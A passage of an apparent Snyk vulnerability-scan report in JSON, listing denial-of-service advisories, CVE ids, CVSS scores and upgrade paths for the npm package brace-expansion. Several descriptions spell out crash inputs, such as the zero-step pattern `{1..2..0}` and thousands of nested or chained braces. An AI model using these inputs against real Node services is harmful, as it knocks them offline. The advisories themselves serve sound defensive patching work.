"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
